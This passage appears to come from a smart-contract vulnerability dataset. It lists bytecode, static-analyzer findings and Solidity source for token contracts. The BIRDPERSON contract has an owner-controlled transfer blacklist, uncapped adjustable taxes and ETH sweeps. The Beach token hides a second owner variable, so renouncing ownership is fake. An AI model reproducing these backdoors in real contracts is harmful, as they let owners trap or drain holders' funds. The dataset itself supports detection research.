8060408385031215611b9557600080fd5b611b9e836119f9565b91506020830135611bae81612262565b809150509250929050565b60008060408385031215611bcc57600080fd5b611bd5836119f9565b946020939093013593505050565b60008060008060608587031215611bf957600080fd5b611c02856119f9565b935060208501359250604085013567ffffffffffffffff80821115611c2657600080fd5b818701915087601f830112611c3a57600080fd5b813581811115611c4957600080fd5b8860208260051b8501011115611c5e57600080fd5b95989497505060200194505050565b600060208284031215611c7f57600080fd5b8151611a3081612262565b600060208284031215611c9c57600080fd5b81517fffffffff0000000000000000000000000000000000000000000000000000000081168114611a3057600080fd5b600060208284031215611cde57600080fd5b5035919050565b60008151808452611cfd8160208601602086016121af565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680611d2b57607f831692505b6020808410821415611d4d57634e487b7160e01b600052602260045260246000fd5b818015611d615760018114611d7257611d9f565b60ff19861689528489019650611d9f565b60008881526020902060005b86811015611d975781548b820152908501908301611d7e565b505084890196505b50505050505092915050565b60008251611dbd8184602087016121af565b9190910192915050565b60008451611dd98184602089016121af565b845190830190611ded8183602089016121af565b8451910190611e008183602088016121af565b0195945050505050565b60008351611e1c8184602088016121af565b600160fd1b908301908152611e346001820185611d11565b95945050505050565b6000611e498285611d11565b600160fd1b81528351611e638160018401602088016121af565b01600101949350505050565b6000611e7b8285611d11565b600160fd1b8152611e346001820185611d11565b7f7000000000000000000000000000000000000000000000000000000000000000815260008251611ec78160018501602087016121af565b9190910160010192915050565b7f7300000000000000000000000000000000000000000000000000000000000000815260008251611ec78160018501602087016121af565b7f6c00000000000000000000000000000000000000000000000000000000000000815260008251611ec78160018501602087016121af565b7f7b226e616d65223a20224865726f202300000000000000000000000000000000815260008351611f7c8160108501602088016121af565b7f222c20226465736372697074696f6e223a20224865726f6573222c2022696d616010918401918201527f6765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c60308201528351611fdf8160508401602088016121af565b7f227d00000000000000000000000000000000000000000000000000000000000060509290910191820152605201949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161204d81601d8501602087016121af565b91909101601d0192915050565b7f6600000000000000000000000000000000000000000000000000000000000000815260008251611ec78160018501602087016121af565b60006001600160a01b038087168352808616602084015250836040830152608060608301526120c46080830184611ce5565b9695505050505050565b6001600160a01b03851681528360208201526060604082015281606082015260007f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83111561211c57600080fd5b8260051b808560808501376000920160800191825250949350505050565b602081526000611a306020830184611ce5565b600082198211156121605761216061220a565b500190565b60008261217457612174612220565b500490565b60008160001904831182151516156121935761219361220a565b500290565b6000828210156121aa576121aa61220a565b500390565b60005b838110156121ca5781810151838201526020016121b2565b83811115610d1a5750506000910152565b60006000198214156121ef576121ef61220a565b5060010190565b60008261220557612205612220565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461083d57600080fdfe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122085c45050f221e73b783100f5b6ba285a4f7f9c96b2c28f9a005b74e6a49948a364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,284
0x6f956a3b15a9b6a1f8daf0e485b57b4b30d4e143
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ //https://birdperson.xyz/ // https://t.me/birdpersonportal // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BP is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "BIRDPERSON"; string private constant _symbol = "BP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xD5C594216F3eF52FCC72B776B4BB99991723420F); _buyTax = 10; _sellTax = 10; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 2e8 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { _sellTax = sellTax; } function setBuyTax(uint256 buyTax) external onlyOwner() { _buyTax = buyTax; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063715018a6146102a75780638da5cb5b146102bc57806395d89b41146102e45780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b8063273123b7116100f2578063273123b714610216578063313ce5671461023657806346df33b7146102525780636fc3eaec1461027257806370a082311461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af5780631bbae6e0146101d457806323b872dd146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a8152692124a9222822a929a7a760b11b60208201525b60405161017691906118da565b60405180910390f35b34801561018b57600080fd5b5061019f61019a366004611761565b610414565b6040519015158152602001610176565b3480156101bb57600080fd5b50678ac7230489e800005b604051908152602001610176565b3480156101e057600080fd5b506101f46101ef366004611893565b61042b565b005b34801561020257600080fd5b5061019f610211366004611720565b610476565b34801561022257600080fd5b506101f46102313660046116ad565b6104df565b34801561024257600080fd5b5060405160098152602001610176565b34801561025e57600080fd5b506101f461026d366004611859565b61052a565b34801561027e57600080fd5b506101f4610572565b34801561029357600080fd5b506101c66102a23660046116ad565b6105a6565b3480156102b357600080fd5b506101f46105c8565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102f057600080fd5b50604080518082019091526002815261042560f41b6020820152610169565b34801561031b57600080fd5b506101f461063c565b34801561033057600080fd5b5061019f61033f366004611761565b61087b565b34801561035057600080fd5b506101f461035f36600461178d565b610888565b34801561037057600080fd5b506101f461091e565b34801561038557600080fd5b506101f461095e565b34801561039a57600080fd5b506101f46103a9366004611893565b610b25565b3480156103ba57600080fd5b506101f46103c9366004611893565b610b54565b3480156103da57600080fd5b506101c66103e93660046116e7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610421338484610b83565b5060015b92915050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b81526004016104559061192f565b60405180910390fd5b66470de4df8200008111156104735760108190555b50565b6000610483848484610ca7565b6104d584336104d085604051806060016040528060288152602001611ac6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb7565b610b83565b5060019392505050565b6000546001600160a01b031633146105095760405162461bcd60e51b81526004016104559061192f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105545760405162461bcd60e51b81526004016104559061192f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059c5760405162461bcd60e51b81526004016104559061192f565b4761047381610ff1565b6001600160a01b0381166000908152600260205260408120546104259061102b565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016104559061192f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016104559061192f565b600f54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906116ca565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906116ca565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085891906116ca565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610421338484610ca7565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016104559061192f565b60005b815181101561091a576001600660008484815181106108d6576108d6611a76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091281611a45565b9150506108b5565b5050565b6000546001600160a01b031633146109485760405162461bcd60e51b81526004016104559061192f565b6000610953306105a6565b9050610473816110af565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016104559061192f565b600e546109a89030906001600160a01b0316678ac7230489e80000610b83565b600e546001600160a01b031663f305d71947306109c4816105a6565b6000806109d96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7591906118ac565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104739190611876565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b81526004016104559061192f565b600b55565b6000546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016104559061192f565b600c55565b6001600160a01b038316610be55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610c465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610d6d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610dcf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6001600160a01b03831660009081526006602052604090205460ff1615610df557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b15610fa7576000600955600c54600a55600f546001600160a01b038481169116148015610e725750600e546001600160a01b03838116911614155b8015610e9757506001600160a01b03821660009081526005602052604090205460ff16155b8015610eac5750600f54600160b81b900460ff165b15610ed9576000610ebc836105a6565b601054909150610ecc8383611238565b1115610ed757600080fd5b505b600f546001600160a01b038381169116148015610f045750600e546001600160a01b03848116911614155b8015610f2957506001600160a01b03831660009081526005602052604090205460ff16155b15610f3a576000600955600b54600a555b6000610f45306105a6565b600f54909150600160a81b900460ff16158015610f705750600f546001600160a01b03858116911614155b8015610f855750600f54600160b01b900460ff165b15610fa557610f93816110af565b478015610fa357610fa347610ff1565b505b505b610fb2838383611297565b505050565b60008184841115610fdb5760405162461bcd60e51b815260040161045591906118da565b506000610fe88486611a2e565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091a573d6000803e3d6000fd5b60006007548211156110925760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b600061109c6112a2565b90506110a883826112c5565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110f7576110f7611a76565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114b57600080fd5b505afa15801561115f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118391906116ca565b8160018151811061119657611196611a76565b6001600160a01b039283166020918202929092010152600e546111bc9130911684610b83565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f5908590600090869030904290600401611964565b600060405180830381600087803b15801561120f57600080fd5b505af1158015611223573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124583856119d5565b9050838110156110a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b610fb2838383611307565b60008060006112af6113fe565b90925090506112be82826112c5565b9250505090565b60006110a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143e565b6000806000806000806113198761146c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134b90876114c9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461137a9086611238565b6001600160a01b03891660009081526002602052604090205561139c8161150b565b6113a68483611555565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113eb91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061141982826112c5565b82101561143557505060075492678ac7230489e8000092509050565b90939092509050565b6000818361145f5760405162461bcd60e51b815260040161045591906118da565b506000610fe884866119ed565b60008060008060008060008060006114898a600954600a54611579565b92509250925060006114996112a2565b905060008060006114ac8e8787876115ce565b919e509c509a509598509396509194505050505091939550919395565b60006110a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb7565b60006115156112a2565b90506000611523838361161e565b306000908152600260205260409020549091506115409082611238565b30600090815260026020526040902055505050565b60075461156290836114c9565b6007556008546115729082611238565b6008555050565b6000808080611593606461158d898961161e565b906112c5565b905060006115a6606461158d8a8961161e565b905060006115be826115b88b866114c9565b906114c9565b9992985090965090945050505050565b60008080806115dd888661161e565b905060006115eb888761161e565b905060006115f9888861161e565b9050600061160b826115b886866114c9565b939b939a50919850919650505050505050565b60008261162d57506000610425565b60006116398385611a0f565b90508261164685836119ed565b146110a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b80356116a881611aa2565b919050565b6000602082840312156116bf57600080fd5b81356110a881611aa2565b6000602082840312156116dc57600080fd5b81516110a881611aa2565b600080604083850312156116fa57600080fd5b823561170581611aa2565b9150602083013561171581611aa2565b809150509250929050565b60008060006060848603121561173557600080fd5b833561174081611aa2565b9250602084013561175081611aa2565b929592945050506040919091013590565b6000806040838503121561177457600080fd5b823561177f81611aa2565b946020939093013593505050565b600060208083850312156117a057600080fd5b823567ffffffffffffffff808211156117b857600080fd5b818501915085601f8301126117cc57600080fd5b8135818111156117de576117de611a8c565b8060051b604051601f19603f8301168101818110858211171561180357611803611a8c565b604052828152858101935084860182860187018a101561182257600080fd5b600095505b8386101561184c576118388161169d565b855260019590950194938601938601611827565b5098975050505050505050565b60006020828403121561186b57600080fd5b81356110a881611ab7565b60006020828403121561188857600080fd5b81516110a881611ab7565b6000602082840312156118a557600080fd5b5035919050565b6000806000606084860312156118c157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611907578581018301518582016040015282016118eb565b81811115611919576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b45784516001600160a01b03168352938301939183019160010161198f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119e8576119e8611a60565b500190565b600082611a0a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2957611a29611a60565b500290565b600082821015611a4057611a40611a60565b500390565b6000600019821415611a5957611a59611a60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021aa8ea4d4fbde703a5e0702f200913cef2b1b92edc905e9645a7fe18d2af84664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,285
0x068ec5122319163e6059ac5f3d612694e8a5ab43
/** *Submitted for verification at Etherscan.io on 2021-08-20 */ /* Telegram: https://t.me/BeachToken */ pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); 